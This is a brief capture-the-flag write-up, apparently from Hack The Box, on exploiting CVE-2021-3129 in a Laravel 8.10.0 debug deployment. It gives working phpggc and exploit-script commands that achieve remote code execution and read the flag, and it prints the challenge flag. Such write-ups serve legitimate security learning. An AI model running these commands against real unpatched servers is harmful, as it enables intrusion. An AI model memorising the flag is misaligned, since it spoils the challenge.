Underland City

The provided information informs us that the server is running laravel in debug more, we can send an unsupported http method to an endpoint to test this. If we send a POST request to / it will give us laravels debug interface, where we can get the version information. We see it is running laravel 8.10.0 and php 7.4.12.

If we google "laravel 8.10.0 exploit" we will be greeted with a bunch of information about CVE-2021-3129
along with a bunch of automated scripts to exploit it.

If we use this script along with phpggc and follow the instructions provided by the script by entering the following commands we get RCE.

```
$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar -f -o exploit.phar --fast-destruct
 monolog/rce1 system 'ls /'

$ python3 laravel-ignition-rce.py http://178.62.19.68:31142/ /tmp/exploit.phar
```

Getting flag

```
$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar -f -o exploit.phar --fast-destruct
 monolog/rce1 system 'cat /flag55Fp0'

python3 laravel-ignition-rce.py http://178.62.19.68:31142/ /tmp/exploit.phar
```

flag : HTB{c4nt_p0p_th3s3_ch41n5!}